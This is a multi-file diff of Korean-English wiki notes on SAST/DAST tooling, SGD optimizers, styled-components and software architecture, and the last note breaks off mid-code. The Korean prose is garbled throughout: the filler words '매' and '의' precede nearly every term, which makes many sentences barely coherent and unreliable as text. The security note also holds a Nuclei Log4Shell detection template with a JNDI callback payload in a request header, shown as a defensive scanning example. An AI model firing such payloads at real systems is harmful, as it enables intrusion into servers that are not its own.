tags: [security, analysis, sast, dast]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: multi
|
||||
framework: semgrep-zap
|
||||
---
|
||||
|
||||
# Static and Dynamic Analysis
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 코드 의 read 의 SAST, 매 코드 의 run 의 DAST"**. 매 static 의 source/binary 의 inspection — 매 dynamic 의 running app 의 probe. 2026 의 best practice 의 SAST + DAST + IAST 의 layered defense.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 SAST (Static Application Security Testing)
|
||||
- 매 source code / bytecode 의 분석 — 매 execution 의 X.
|
||||
- 강점: full coverage, early in SDLC, finds hard-to-trigger bugs.
|
||||
- 약점: false positives, no runtime context, framework-specific FN.
|
||||
- Tools: Semgrep, CodeQL, SonarQube, Snyk Code.
|
||||
|
||||
### 매 DAST (Dynamic Application Security Testing)
|
||||
- 매 running app 의 black-box probing — 매 HTTP fuzzing.
|
||||
- 강점: real runtime behavior, env-config bugs, low FP.
|
||||
- 약점: limited coverage (only reachable paths), late in SDLC.
|
||||
- Tools: OWASP ZAP, Burp Suite, Nuclei.
|
||||
|
||||
### 매 IAST (Interactive)
|
||||
- 매 instrumented agent 의 runtime data flow tracking.
|
||||
- Hybrid: static-style precision + dynamic-style validity.
|
||||
- Tools: Contrast Security, Checkmarx IAST.
|
||||
|
||||
### 매 응용
|
||||
1. CI/CD security gate (SAST on every PR).
|
||||
2. Pre-prod scan (DAST against staging).
|
||||
3. Compliance (PCI, SOC2, ISO 27001).
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### Semgrep — custom SAST rule
|
||||
```yaml
|
||||
rules:
|
||||
- id: hardcoded-jwt-secret
|
||||
pattern: jwt.sign($PAYLOAD, "...")
|
||||
message: Hardcoded JWT secret detected
|
||||
severity: ERROR
|
||||
languages: [javascript, typescript]
|
||||
```
|
||||
|
||||
### CodeQL — taint tracking
|
||||
```ql
|
||||
import javascript
|
||||
|
||||
class XssConfig extends TaintTracking::Configuration {
|
||||
XssConfig() { this = "Xss" }
|
||||
override predicate isSource(DataFlow::Node n) {
|
||||
n instanceof RemoteFlowSource
|
||||
}
|
||||
override predicate isSink(DataFlow::Node n) {
|
||||
exists(DOM::DomMethodCallNode c | c.getMethodName() = "innerHTML" |
|
||||
n = c.getArgument(0))
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### ZAP — automated DAST scan
|
||||
```bash
|
||||
docker run -v $(pwd):/zap/wrk -t zaproxy/zap-stable \
|
||||
zap-baseline.py -t https://staging.example.com \
|
||||
-r report.html -J report.json
|
||||
```
|
||||
|
||||
### Nuclei — template-based DAST
|
||||
```yaml
|
||||
id: log4shell
|
||||
info:
|
||||
name: Apache Log4j RCE
|
||||
severity: critical
|
||||
requests:
|
||||
- method: GET
|
||||
path: ["{{BaseURL}}"]
|
||||
headers:
|
||||
User-Agent: "${jndi:ldap://{{interactsh-url}}/a}"
|
||||
matchers:
|
||||
- type: word
|
||||
part: interactsh_protocol
|
||||
words: ["dns"]
|
||||
```
|
||||
|
||||
### CI integration — GitHub Actions
|
||||
```yaml
|
||||
- uses: returntocorp/semgrep-action@v1
|
||||
with:
|
||||
config: p/owasp-top-ten
|
||||
- uses: github/codeql-action/analyze@v3
|
||||
- name: ZAP Baseline
|
||||
uses: zaproxy/action-baseline@v0.10.0
|
||||
with:
|
||||
target: 'https://staging.example.com'
|
||||
```
|
||||
|
||||
### Tainted data flow — Java pseudocode
|
||||
```java
|
||||
String input = request.getParameter("q"); // SOURCE (tainted)
|
||||
String sanitized = StringEscapeUtils.escapeHtml4(input); // SANITIZER
|
||||
response.getWriter().write(sanitized); // SINK (safe)
|
||||
|
||||
// SAST tracks: source → sink without sanitizer = vulnerability
|
||||
```
|
||||
|
||||
### SBOM + dependency scanning
|
||||
```bash
|
||||
syft dir:. -o cyclonedx-json > sbom.json
|
||||
grype sbom:sbom.json --fail-on high
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Approach |
|
||||
|---|---|
|
||||
| Pre-commit, fast feedback | SAST (Semgrep) |
|
||||
| Deep semantic analysis | CodeQL |
|
||||
| Pre-prod runtime check | DAST (ZAP, Burp) |
|
||||
| Runtime + coverage | IAST (Contrast) |
|
||||
| Dependency vulns | SCA (Snyk, Grype) |
|
||||
|
||||
**기본값**: 매 Semgrep (PR) + ZAP baseline (nightly) + Grype (deps).
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[Application Security]] · [[CI_CD 파이프라인 및 IDE 통합 보안|DevSecOps]]
|
||||
- 변형: [[SAST]] · [[보안_및_시스템_신뢰성_표준|DAST]] · [[IAST]] · [[SCA_Fundamentals|SCA]]
|
||||
- Adjacent: [[Fuzzing]] · [[Threat Modeling]] · [[보안_및_시스템_신뢰성_표준|OWASP Top 10]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: code review automation, custom rule generation, false-positive triage.
|
||||
**언제 X**: full code understanding (LLM hallucinates), security-critical decisions without human review.
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **SAST only**: 매 runtime config bug 의 miss — 매 DAST 의 추가.
|
||||
- **Ignore false positives**: 매 alert fatigue 의 cause — 매 tuning 의 invest.
|
||||
- **Scan in prod**: 매 DAST 의 staging — 매 prod 의 X.
|
||||
- **One-time scan**: 매 continuous 의 — 매 every PR 의 gate.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (OWASP Testing Guide v5, NIST SP 800-218).
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — SAST/DAST/IAST patterns, CI integration |
|
||||
+174
@@ -0,0 +1,174 @@
|
||||
---
|
||||
id: wiki-2026-0508-stochastic-gradient-descent
|
||||
title: Stochastic Gradient Descent
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [SGD, Mini-batch SGD, Stochastic Gradient Descent]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.95
|
||||
verification_status: applied
|
||||
tags: [machine-learning, optimization, deep-learning, gradient-descent]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: python
|
||||
framework: pytorch
|
||||
---
|
||||
|
||||
# Stochastic Gradient Descent (SGD)
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 한 sample (or mini-batch) 에 대한 gradient 로 매 step — 매 noisy 하지만 매 cheap, 매 escape from local minima"**. Robbins & Monro (1951) 의 stochastic approximation 의 후예. 2026 deep learning 의 foundation — 매 SGD+momentum, AdamW, Lion 가 매 default.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 vs full-batch
|
||||
- **Batch GD**: 매 entire dataset gradient — 매 expensive, deterministic.
|
||||
- **SGD (online)**: 매 single sample — 매 noisy, fast.
|
||||
- **Mini-batch SGD**: 매 32–4096 samples — 매 modern default. 매 GPU 의 vectorize.
|
||||
|
||||
### 매 update rule
|
||||
- Vanilla SGD: `θ ← θ − η ∇L(θ; x_i, y_i)`.
|
||||
- Momentum: `v ← μv + ∇L; θ ← θ − ηv`.
|
||||
- Nesterov: 매 lookahead momentum.
|
||||
|
||||
### 매 modern variants
|
||||
- **AdamW** (Loshchilov 2019): adaptive lr + decoupled weight decay — 매 LLM/transformer default.
|
||||
- **Lion** (Chen 2023): sign-based momentum — 매 less memory, comparable.
|
||||
- **Sophia** (2023): second-order — 매 LLM pretrain.
|
||||
- **Muon** (Jordan 2024): orthogonalized momentum — 매 emerging.
|
||||
|
||||
### 매 응용
|
||||
1. Neural network training (all of deep learning).
|
||||
2. Logistic regression, linear regression at scale.
|
||||
3. Online learning / streaming data.
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### PyTorch 2.5 — SGD with momentum
|
||||
```python
|
||||
import torch
|
||||
from torch import nn, optim
|
||||
|
||||
model = nn.Linear(784, 10)
|
||||
optimizer = optim.SGD(model.parameters(), lr=0.01, momentum=0.9, nesterov=True)
|
||||
loss_fn = nn.CrossEntropyLoss()
|
||||
|
||||
for epoch in range(10):
|
||||
for x, y in dataloader:
|
||||
optimizer.zero_grad()
|
||||
loss = loss_fn(model(x), y)
|
||||
loss.backward()
|
||||
optimizer.step()
|
||||
```
|
||||
|
||||
### AdamW (transformer default 2026)
|
||||
```python
|
||||
optimizer = optim.AdamW(
|
||||
model.parameters(),
|
||||
lr=3e-4,
|
||||
betas=(0.9, 0.95),
|
||||
weight_decay=0.1,
|
||||
fused=True, # 매 GPU fused kernel
|
||||
)
|
||||
```
|
||||
|
||||
### Cosine LR schedule
|
||||
```python
|
||||
from torch.optim.lr_scheduler import CosineAnnealingLR
|
||||
scheduler = CosineAnnealingLR(optimizer, T_max=num_steps, eta_min=1e-6)
|
||||
for step in range(num_steps):
|
||||
train_step()
|
||||
optimizer.step()
|
||||
scheduler.step()
|
||||
```
|
||||
|
||||
### Linear warmup + cosine decay (LLM standard)
|
||||
```python
|
||||
def lr_lambda(step):
|
||||
if step < warmup:
|
||||
return step / warmup
|
||||
progress = (step - warmup) / (total - warmup)
|
||||
return 0.5 * (1 + math.cos(math.pi * progress))
|
||||
scheduler = optim.lr_scheduler.LambdaLR(optimizer, lr_lambda)
|
||||
```
|
||||
|
||||
### Gradient clipping (stability)
|
||||
```python
|
||||
torch.nn.utils.clip_grad_norm_(model.parameters(), max_norm=1.0)
|
||||
optimizer.step()
|
||||
```
|
||||
|
||||
### Mixed precision SGD (bf16, H100)
|
||||
```python
|
||||
scaler = torch.amp.GradScaler("cuda")
|
||||
with torch.autocast("cuda", dtype=torch.bfloat16):
|
||||
loss = loss_fn(model(x), y)
|
||||
scaler.scale(loss).backward()
|
||||
scaler.unscale_(optimizer)
|
||||
torch.nn.utils.clip_grad_norm_(model.parameters(), 1.0)
|
||||
scaler.step(optimizer)
|
||||
scaler.update()
|
||||
```
|
||||
|
||||
### Pure NumPy SGD (linear regression)
|
||||
```python
|
||||
import numpy as np
|
||||
def sgd(X, y, lr=0.01, epochs=100, batch=32):
|
||||
w = np.zeros(X.shape[1])
|
||||
for _ in range(epochs):
|
||||
idx = np.random.permutation(len(X))
|
||||
for i in range(0, len(X), batch):
|
||||
b = idx[i:i+batch]
|
||||
grad = X[b].T @ (X[b] @ w - y[b]) / len(b)
|
||||
w -= lr * grad
|
||||
return w
|
||||
```
|
||||
|
||||
### Lion optimizer (2026 alt)
|
||||
```python
|
||||
# pip install lion-pytorch
|
||||
from lion_pytorch import Lion
|
||||
optimizer = Lion(model.parameters(), lr=1e-4, weight_decay=0.01)
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Approach |
|
||||
|---|---|
|
||||
| Image classification (ResNet, ViT) | SGD + momentum + cosine |
|
||||
| LLM / Transformer training | AdamW + linear warmup + cosine |
|
||||
| Memory-constrained large model | Lion or 8-bit Adam (bitsandbytes) |
|
||||
| Convex optimization, theoretical guarantee | Vanilla SGD with decreasing lr |
|
||||
| Online streaming data | Mini-batch SGD, lr ~ 1/sqrt(t) |
|
||||
|
||||
**기본값**: 매 transformer/LLM → AdamW 3e-4 + warmup 1k steps + cosine. 매 CNN → SGD 0.1 + momentum 0.9 + cosine.
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[Gradient Descent]] · [[Optimization]]
|
||||
- 변형: [[Adam]] · [[AdamW]]
|
||||
- 응용: [[Deep Learning]]
|
||||
- Adjacent: [[Gradient Clipping]] · [[데이터_사이언스_및_ML_엔지니어링|Backpropagation]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: 매 model training의 default optimizer choice; debug convergence (loss spike, plateau).
|
||||
**언제 X**: 매 closed-form solution exists (small linear regression — use normal equation); 매 second-order necessary (small classical ML).
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **lr too high**: 매 loss explosion / NaN. 매 warmup + clip.
|
||||
- **No weight decay**: 매 overfitting.
|
||||
- **Momentum with lr too high**: 매 oscillation.
|
||||
- **AdamW lr=1e-3 for LLM**: 매 too high — 1e-4 ~ 3e-4 가 매 standard.
|
||||
- **Batch size 1 on GPU**: 매 underutilization. 매 32+ 의 사용.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (PyTorch docs 2.5; Goodfellow *Deep Learning* ch.8; Loshchilov AdamW 2019).
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — SGD + modern variants (AdamW, Lion, Muon) for 2026 |
|
||||
+182
@@ -0,0 +1,182 @@
|
||||
---
|
||||
id: wiki-2026-0508-styled-components
|
||||
title: Styled Components
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [styled-components, CSS-in-JS]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.9
|
||||
verification_status: applied
|
||||
tags: [react, css-in-js, frontend, styling]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: typescript
|
||||
framework: react
|
||||
---
|
||||
|
||||
# Styled Components
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 CSS 의 component 의 안에 — 매 tagged template literal 로 매 React component + style 의 atomic unit"**. Glen Maddern, Max Stoiber (2016). 매 CSS-in-JS 의 reference. 2026 매 styled-components v6+ 가 매 React Server Components 의 partial 지원 — 매 RSC native era 에서 매 Tailwind / vanilla-extract / CSS Modules 의 challenge.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 mechanic
|
||||
- 매 tagged template literal: ``styled.button`color: red```.
|
||||
- 매 runtime 의 unique class name 의 generation, 매 stylesheet 의 inject.
|
||||
- 매 props-based dynamic styling: ``${props => props.primary ? '#0070f3' : '#fff'}``.
|
||||
|
||||
### 매 features
|
||||
- **Theming**: ThemeProvider context.
|
||||
- **`as` prop**: 매 polymorphic element.
|
||||
- **Extending**: ``styled(Button)`...```.
|
||||
- **Animations**: keyframes helper.
|
||||
- **Global styles**: createGlobalStyle.
|
||||
|
||||
### 매 응용
|
||||
1. React design system (Material-like component lib).
|
||||
2. Theme switcher (dark mode).
|
||||
3. Per-component style isolation.
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### Basic styled component (TypeScript)
|
||||
```tsx
|
||||
import styled from "styled-components";
|
||||
|
||||
const Button = styled.button<{ $primary?: boolean }>`
|
||||
padding: 8px 16px;
|
||||
border-radius: 6px;
|
||||
border: none;
|
||||
cursor: pointer;
|
||||
background: ${(p) => (p.$primary ? "#0070f3" : "#eee")};
|
||||
color: ${(p) => (p.$primary ? "#fff" : "#222")};
|
||||
&:hover { opacity: 0.9; }
|
||||
`;
|
||||
|
||||
export default function App() {
|
||||
return <Button $primary>Buy</Button>;
|
||||
}
|
||||
```
|
||||
|
||||
### Theme + ThemeProvider
|
||||
```tsx
|
||||
import { ThemeProvider, DefaultTheme } from "styled-components";
|
||||
|
||||
const dark: DefaultTheme = { bg: "#111", fg: "#eee", accent: "#0af" };
|
||||
const light: DefaultTheme = { bg: "#fff", fg: "#111", accent: "#06c" };
|
||||
|
||||
const Card = styled.div`
|
||||
background: ${(p) => p.theme.bg};
|
||||
color: ${(p) => p.theme.fg};
|
||||
padding: 16px;
|
||||
`;
|
||||
|
||||
export default function App() {
|
||||
const [mode, setMode] = useState<"light" | "dark">("dark");
|
||||
return (
|
||||
<ThemeProvider theme={mode === "dark" ? dark : light}>
|
||||
<Card>Hello</Card>
|
||||
</ThemeProvider>
|
||||
);
|
||||
}
|
||||
```
|
||||
|
||||
### Extending another styled component
|
||||
```tsx
|
||||
const Base = styled.button`padding: 8px; border-radius: 4px;`;
|
||||
const Danger = styled(Base)`background: #e00; color: white;`;
|
||||
```
|
||||
|
||||
### `as` polymorphic prop
|
||||
```tsx
|
||||
const Box = styled.div`padding: 16px;`;
|
||||
<Box as="section" /> // renders <section>
|
||||
<Box as={Link} to="/x" /> // renders react-router Link
|
||||
```
|
||||
|
||||
### Keyframes animation
|
||||
```tsx
|
||||
import styled, { keyframes } from "styled-components";
|
||||
const pulse = keyframes`
|
||||
0% { transform: scale(1); }
|
||||
50% { transform: scale(1.1); }
|
||||
100% { transform: scale(1); }
|
||||
`;
|
||||
const Pulser = styled.div`animation: ${pulse} 1s infinite;`;
|
||||
```
|
||||
|
||||
### Global styles
|
||||
```tsx
|
||||
import { createGlobalStyle } from "styled-components";
|
||||
const Global = createGlobalStyle`
|
||||
body { margin: 0; font-family: Inter, sans-serif; background: ${(p) => p.theme.bg}; }
|
||||
`;
|
||||
```
|
||||
|
||||
### css helper for shared mixin
|
||||
```tsx
|
||||
import { css } from "styled-components";
|
||||
const truncate = css`
|
||||
white-space: nowrap;
|
||||
overflow: hidden;
|
||||
text-overflow: ellipsis;
|
||||
`;
|
||||
const Title = styled.h2`${truncate} font-size: 24px;`;
|
||||
```
|
||||
|
||||
### Next.js 14+ App Router (RSC) — 매 'use client'
|
||||
```tsx
|
||||
"use client";
|
||||
import styled from "styled-components";
|
||||
export const Button = styled.button`color: red;`;
|
||||
```
|
||||
|
||||
```tsx
|
||||
// app/layout.tsx — registry pattern for SSR
|
||||
import StyledRegistry from "./StyledRegistry";
|
||||
export default function Root({ children }) {
|
||||
return <html><body><StyledRegistry>{children}</StyledRegistry></body></html>;
|
||||
}
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Approach |
|
||||
|---|---|
|
||||
| React SPA, 매 dynamic theming heavy | styled-components / emotion |
|
||||
| React Server Components 의 native | vanilla-extract / CSS Modules / Tailwind |
|
||||
| Utility-first, design system | Tailwind CSS v4 |
|
||||
| Build-time zero-runtime | vanilla-extract / Linaria |
|
||||
| Component lib for distribution | CSS Modules + tokens |
|
||||
|
||||
**기본값** (2026): 매 새 React project — Tailwind 의 default. styled-components 의 dynamic + theme heavy app 에 still-valid.
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[CSS_Architecture_and_Styling|CSS-in-JS]] · [[React]]
|
||||
- 변형: [[Vanilla Extract]]
|
||||
- 응용: [[Design System]] · [[Theme Switching]]
|
||||
- Adjacent: [[CSS_Architecture_and_Styling|Tailwind CSS]] · [[CSS Modules]] · [[React Server Components]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: dynamic prop-based styles 의 heavy, theme switching 의 first-class, existing CSS-in-JS app.
|
||||
**언제 X**: 매 RSC-first new app — runtime cost + 'use client' boundary 의 friction. 매 Tailwind / vanilla-extract 의 prefer.
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **Inline style prop interpolation 의 every render**: 매 className thrash 의 perf hit. 매 attrs / static class 의 사용.
|
||||
- **No `$` prefix on props**: 매 DOM warning (unknown attribute). 매 transient prop 의 사용 — `$primary`.
|
||||
- **createGlobalStyle 의 multiple instances**: 매 conflict.
|
||||
- **SSR without registry**: 매 FOUC. Next.js registry 의 setup.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (styled-components.com docs v6, 2025; Next.js 14 App Router CSS-in-JS guide).
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — styled-components v6 + RSC era guidance |
|
||||
+194
@@ -0,0 +1,194 @@
|
||||
---
|
||||
id: wiki-2026-0508-technical-architecture
|
||||
title: Technical Architecture
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [System Architecture, Tech Architecture, 기술 아키텍처]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.9
|
||||
verification_status: applied
|
||||
tags: [architecture, system-design, structure]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: agnostic
|
||||
framework: C4/arc42
|
||||
---
|
||||
|
||||
# Technical Architecture
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 system 의 high-level structure + 매 design decision 의 rationale"**. 매 component, 매 boundary, 매 data flow, 매 quality attribute (performance, security, scalability) 의 결정. 매 2026 modern stack 은 C4 model + ADR + arc42 의 combination 으로 documentation.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 4+1 view (Kruchten 1995)
|
||||
- **Logical**: 매 functional decomposition (class, module).
|
||||
- **Process**: 매 runtime concurrency (thread, service).
|
||||
- **Development**: 매 source code organization (package, repo).
|
||||
- **Physical**: 매 deployment topology (node, network).
|
||||
- **Scenarios**: 매 use case 의 cross-cutting validation.
|
||||
|
||||
### 매 C4 model (Brown 2018)
|
||||
- **L1 Context**: 매 system + 매 external actors.
|
||||
- **L2 Container**: 매 deployable unit (web app, DB, queue).
|
||||
- **L3 Component**: 매 container 의 internal module.
|
||||
- **L4 Code**: 매 class diagram (rarely needed).
|
||||
|
||||
### 매 quality attributes (ISO 25010)
|
||||
- Performance · Scalability · Availability · Security · Maintainability · Testability · Observability.
|
||||
- 매 trade-off 의 명시 — 매 "all of them" 은 fantasy.
|
||||
|
||||
### 매 응용
|
||||
1. Greenfield project 시 C4 L1+L2 먼저, ADR 로 매 decision 기록.
|
||||
2. Legacy reverse engineering — 매 dependency graph 추출 후 component view.
|
||||
3. Architecture review — quality attribute scenario 의 validation.
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### C4 diagram (PlantUML)
|
||||
```plantuml
|
||||
@startuml
|
||||
!include https://raw.githubusercontent.com/plantuml-stdlib/C4-PlantUML/master/C4_Container.puml
|
||||
|
||||
Person(user, "Customer")
|
||||
System_Boundary(shop, "E-commerce") {
|
||||
Container(web, "Web App", "Next.js 15")
|
||||
Container(api, "API", "Node.js / Fastify")
|
||||
ContainerDb(db, "Database", "Postgres 16")
|
||||
Container(queue, "Queue", "Redis Streams")
|
||||
}
|
||||
System_Ext(stripe, "Stripe")
|
||||
|
||||
Rel(user, web, "Browses", "HTTPS")
|
||||
Rel(web, api, "API calls", "JSON/HTTPS")
|
||||
Rel(api, db, "Reads/Writes", "SQL")
|
||||
Rel(api, queue, "Publishes events")
|
||||
Rel(api, stripe, "Charges", "REST")
|
||||
@enduml
|
||||
```
|
||||
|
||||
### ADR template
|
||||
```markdown
|
||||
# ADR 0007: Choose Postgres over MongoDB
|
||||
|
||||
## Status: Accepted (2026-05-10)
|
||||
|
||||
## Context
|
||||
Need primary store for order data. Strong consistency required.
|
||||
Team has 5 years Postgres experience.
|
||||
|
||||
## Decision
|
||||
Postgres 16 with JSONB for flexible product attributes.
|
||||
|
||||
## Consequences
|
||||
+ ACID transactions for orders.
|
||||
+ Mature ecosystem (Prisma, pgvector for AI features).
|
||||
+ Single skill set for ops.
|
||||
- Less flexible schema evolution.
|
||||
- Manual sharding if scale > single node.
|
||||
|
||||
## Alternatives considered
|
||||
- MongoDB: rejected — eventual consistency unsuitable for orders.
|
||||
- DynamoDB: rejected — vendor lock-in, query flexibility.
|
||||
```
|
||||
|
||||
### Hexagonal architecture (ports & adapters)
|
||||
```typescript
|
||||
// Domain (port)
|
||||
interface OrderRepository {
|
||||
save(order: Order): Promise<void>;
|
||||
findById(id: string): Promise<Order | null>;
|
||||
}
|
||||
|
||||
// Application
|
||||
class PlaceOrderUseCase {
|
||||
constructor(private repo: OrderRepository, private payments: PaymentGateway) {}
|
||||
async execute(cmd: PlaceOrderCommand) {
|
||||
const order = Order.create(cmd);
|
||||
await this.payments.charge(order.total);
|
||||
await this.repo.save(order);
|
||||
}
|
||||
}
|
||||
|
||||
// Infrastructure (adapter)
|
||||
class PostgresOrderRepository implements OrderRepository {
|
||||
async save(order: Order) { /* SQL */ }
|
||||
async findById(id: string) { /* SQL */ }
|
||||
}
|
||||
```
|
||||
|
||||
### Layered architecture
|
||||
```
|
||||
┌─ Presentation (controllers, DTOs)
|
||||
├─ Application (use cases)
|
||||
├─ Domain (entities, value objects, services)
|
||||
└─ Infrastructure (DB, HTTP, queue adapters)
|
||||
```
|
||||
|
||||
### Event-driven boundary
|
||||
```typescript
|
||||
// Publisher (order service)
|
||||
await events.publish('OrderPlaced', {
|
||||
orderId: order.id,
|
||||
customerId: order.customerId,
|
||||
total: order.total.amount,
|
||||
ts: Date.now(),
|
||||
});
|
||||
|
||||
// Subscriber (notification service — independent deploy)
|
||||
events.subscribe('OrderPlaced', async (e) => {
|
||||
await emailClient.send(e.customerId, 'order-confirmation', e);
|
||||
});
|
||||
```
|
||||
|
||||
### Quality attribute scenario
|
||||
```yaml
|
||||
attribute: Performance
|
||||
source: 1000 concurrent users
|
||||
stimulus: place order
|
||||
artifact: API
|
||||
environment: peak load
|
||||
response: order accepted
|
||||
measure: p95 latency < 500ms, error rate < 0.1%
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Approach |
|
||||
|---|---|
|
||||
| Small team, single domain | Layered monolith |
|
||||
| Multiple teams, bounded contexts | Microservices |
|
||||
| Heavy I/O, async workflow | Event-driven |
|
||||
| Domain-rich, complex rules | Hexagonal + DDD |
|
||||
| Read-heavy, eventual consistency OK | CQRS + event sourcing |
|
||||
|
||||
**기본값**: 매 modular monolith 부터 시작 — 매 microservice 의 premature split 의 regret.
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[Software_Architecture]] · [[System Design]]
|
||||
- 변형: [[Microservices]] · [[Hexagonal Architecture]] · [[Event-Driven Architecture]]
|
||||
- 응용: [[C4 Model]] · [[Architecture Decision Record]]
|
||||
- Adjacent: [[Domain-Driven Design]] · [[Testability_Architecture]] · [[Technical_Debt]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: ADR drafting, C4 generation, quality attribute analysis, architecture review.
|
||||
**언제 X**: 매 production 의 actual capacity planning — 매 real load test 필요.
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **Big design up front**: 매 waterfall 의 회귀.
|
||||
- **No documentation**: 매 6개월 후 nobody knows why.
|
||||
- **Microservices for 3 devs**: distributed monolith 의 distributed pain.
|
||||
- **Cargo cult architecture**: Netflix scale 의 mimicry without justification.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (Kruchten 4+1 1995; Brown C4 2018; arc42 2024).
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — 4+1 + C4 + hexagonal patterns |
|
||||
+172
@@ -0,0 +1,172 @@
|
||||
---
|
||||
id: wiki-2026-0508-thought-architecture
|
||||
title: Thought Architecture
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [생각 설계, Architecture of Thought, 사고 아키텍처]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.9
|
||||
verification_status: applied
|
||||
tags: [architecture, design-thinking, mental-model]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: conceptual
|
||||
framework: software-architecture
|
||||
---
|
||||
|
||||
# Thought Architecture
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 architecture 는 thought 의 외화 (externalization)"**. 매 system 의 구조는 매 designer 의 사고 모델을 그대로 반영. 2026 LLM-assisted era 에서도 매 핵심 thought structure 는 인간이 결정 — AI 는 elaboration / pattern matching.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 layers of thought
|
||||
- **What**: 도메인 / 문제 정의.
|
||||
- **Why**: 매 가치 / 제약 / trade-off.
|
||||
- **How**: 매 component / boundary / contract.
|
||||
- **When**: 매 evolution / lifecycle.
|
||||
|
||||
### 매 thought-to-architecture mapping
|
||||
- 매 mental concept → module.
|
||||
- 매 invariant → contract / type.
|
||||
- 매 change axis → seam / interface.
|
||||
- 매 trust boundary → service / process boundary.
|
||||
|
||||
### 매 응용
|
||||
1. Domain-Driven Design — 매 ubiquitous language ⇔ thought architecture.
|
||||
2. Hexagonal — 매 core thought 는 안쪽, 매 details 는 바깥.
|
||||
3. C4 model — 매 thought 의 zoom levels.
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### Concept-to-Module 매핑
|
||||
```typescript
|
||||
// 매 도메인 concept "Order" → module
|
||||
// src/domain/order/
|
||||
// order.ts // 매 entity (invariants 의 집)
|
||||
// order-events.ts // 매 state transitions
|
||||
// order-policy.ts // 매 business rules
|
||||
|
||||
export class Order {
|
||||
private constructor(
|
||||
readonly id: OrderId,
|
||||
private state: OrderState,
|
||||
private items: LineItem[],
|
||||
) {}
|
||||
|
||||
static create(items: LineItem[]): Order {
|
||||
if (items.length === 0) throw new Error('Empty order');
|
||||
return new Order(OrderId.new(), 'pending', items);
|
||||
}
|
||||
|
||||
confirm(): OrderConfirmed {
|
||||
if (this.state !== 'pending') throw new Error('Bad state');
|
||||
this.state = 'confirmed';
|
||||
return { type: 'OrderConfirmed', orderId: this.id };
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### Invariant-as-Type
|
||||
```typescript
|
||||
// 매 thought: "email 은 항상 valid 한 형식"
|
||||
// 매 architecture: type 으로 enforce
|
||||
type Email = string & { readonly __brand: 'Email' };
|
||||
|
||||
function parseEmail(raw: string): Email {
|
||||
if (!/^[^@]+@[^@]+\.[^@]+$/.test(raw)) throw new Error('Invalid');
